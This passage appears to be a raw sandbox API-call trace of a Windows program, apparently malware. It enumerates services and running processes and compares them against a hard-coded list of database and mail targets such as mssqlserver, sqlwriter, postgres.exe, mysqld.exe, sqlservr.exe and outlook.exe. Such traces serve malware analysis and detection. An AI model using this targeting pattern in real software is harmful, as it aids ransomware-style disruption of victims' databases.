(lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0212.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0212.983] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0212.983] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0212.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0212.983] lstrlenW (lpString="nsi") returned 3 [0212.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0212.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0212.983] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0212.983] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0212.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0212.983] lstrlenW (lpString="PcaSvc") returned 6 [0212.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0212.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0212.983] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0212.983] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0212.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0212.983] lstrlenW (lpString="PlugPlay") returned 8 [0212.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0212.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0212.983] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0212.983] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0212.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0212.984] lstrlenW (lpString="Power") returned 5 [0212.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0212.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0212.984] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0212.984] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0212.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0212.984] lstrlenW (lpString="ProfSvc") returned 7 [0212.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0212.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0212.984] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0212.984] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0212.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0212.984] lstrlenW (lpString="RpcEptMapper") returned 12 [0212.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0212.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0212.984] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0212.984] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0212.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0212.984] lstrlenW (lpString="RpcSs") returned 5 [0212.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0212.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0212.984] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0212.984] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0212.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0212.984] lstrlenW (lpString="SamSs") returned 5 [0212.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0212.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0212.984] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0212.984] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0212.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0212.984] lstrlenW (lpString="Schedule") returned 8 [0212.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0212.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0212.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0212.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0212.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0212.985] lstrlenW (lpString="SENS") returned 4 [0212.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0212.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0212.985] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0212.985] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0212.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0212.985] lstrlenW (lpString="ShellHWDetection") returned 16 [0212.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0212.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0212.985] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0212.985] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0212.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0212.985] lstrlenW (lpString="Spooler") returned 7 [0212.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0212.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0212.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0212.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0212.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0212.985] lstrlenW (lpString="sppsvc") returned 6 [0212.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0212.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0212.985] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0212.985] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0212.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0212.985] lstrlenW (lpString="SysMain") returned 7 [0212.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0212.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0212.986] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0212.986] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0212.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0212.986] lstrlenW (lpString="Themes") returned 6 [0212.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0212.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0212.986] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0212.986] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0212.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0212.986] lstrlenW (lpString="TrkWks") returned 6 [0212.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0212.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0212.986] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0212.986] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0212.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0212.986] lstrlenW (lpString="UxSms") returned 5 [0212.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0212.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0212.986] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0212.986] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0212.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0212.986] lstrlenW (lpString="VSS") returned 3 [0212.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0212.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0212.986] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0212.986] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0212.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0212.986] lstrlenW (lpString="WdiServiceHost") returned 14 [0212.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0212.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0212.986] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0212.987] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0212.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0212.987] lstrlenW (lpString="WdiSystemHost") returned 13 [0212.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0212.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0212.987] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0212.987] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0212.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0212.987] lstrlenW (lpString="WinDefend") returned 9 [0212.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0212.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0212.987] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0212.987] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0212.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0212.987] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0212.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0212.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0212.987] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0212.987] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0212.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0212.987] lstrlenW (lpString="Winmgmt") returned 7 [0212.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0212.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0212.987] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0212.987] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0212.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0212.987] lstrlenW (lpString="wscsvc") returned 6 [0212.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0212.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0212.987] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0212.987] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0212.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0212.988] lstrlenW (lpString="wuauserv") returned 8 [0212.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0212.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0212.988] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0212.988] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0212.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0212.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f06078 | out: hHeap=0x4f0000) returned 1 [0212.988] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0212.990] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.991] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0212.991] lstrlenW (lpString="System") returned 6 [0212.992] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0212.992] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0212.992] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0212.992] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0212.992] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0212.992] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0212.992] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0212.992] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0212.993] lstrlenW (lpString="smss.exe") returned 8 [0212.993] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0212.993] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0212.993] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.994] lstrlenW (lpString="csrss.exe") returned 9 [0212.994] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0212.995] lstrlenW (lpString="wininit.exe") returned 11 [0212.995] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.996] lstrlenW (lpString="csrss.exe") returned 9 [0212.996] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0212.997] lstrlenW (lpString="winlogon.exe") returned 12 [0212.997] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0212.998] lstrlenW (lpString="services.exe") returned 12 [0212.998] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0212.998] lstrlenW (lpString="lsass.exe") returned 9 [0212.999] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0212.999] lstrlenW (lpString="lsm.exe") returned 7 [0212.999] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.000] lstrlenW (lpString="svchost.exe") returned 11 [0213.000] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.001] lstrlenW (lpString="svchost.exe") returned 11 [0213.001] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.002] lstrlenW (lpString="svchost.exe") returned 11 [0213.002] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.003] lstrlenW (lpString="svchost.exe") returned 11 [0213.003] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.004] lstrlenW (lpString="svchost.exe") returned 11 [0213.004] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0213.004] lstrlenW (lpString="audiodg.exe") returned 11 [0213.005] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.005] lstrlenW (lpString="svchost.exe") returned 11 [0213.005] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.006] lstrlenW (lpString="svchost.exe") returned 11 [0213.006] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0213.007] lstrlenW (lpString="dwm.exe") returned 7 [0213.007] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0213.008] lstrlenW (lpString="explorer.exe") returned 12 [0213.008] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0213.009] lstrlenW (lpString="spoolsv.exe") returned 11 [0213.009] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0213.010] lstrlenW (lpString="taskhost.exe") returned 12 [0213.010] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.011] lstrlenW (lpString="svchost.exe") returned 11 [0213.011] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0213.012] lstrlenW (lpString="taskeng.exe") returned 11 [0213.012] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0213.012] lstrlenW (lpString="taskhost.exe") returned 12 [0213.012] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0213.013] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0213.013] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0213.014] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0213.014] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0213.015] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0213.015] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0213.016] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0213.016] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0213.017] lstrlenW (lpString="always_winds.exe") returned 16 [0213.017] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0213.018] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0213.018] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0213.019] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0213.019] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0213.019] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0213.019] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0213.020] lstrlenW (lpString="alienwed.exe") returned 12 [0213.020] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0213.021] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0213.021] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0213.022] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0213.022] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, 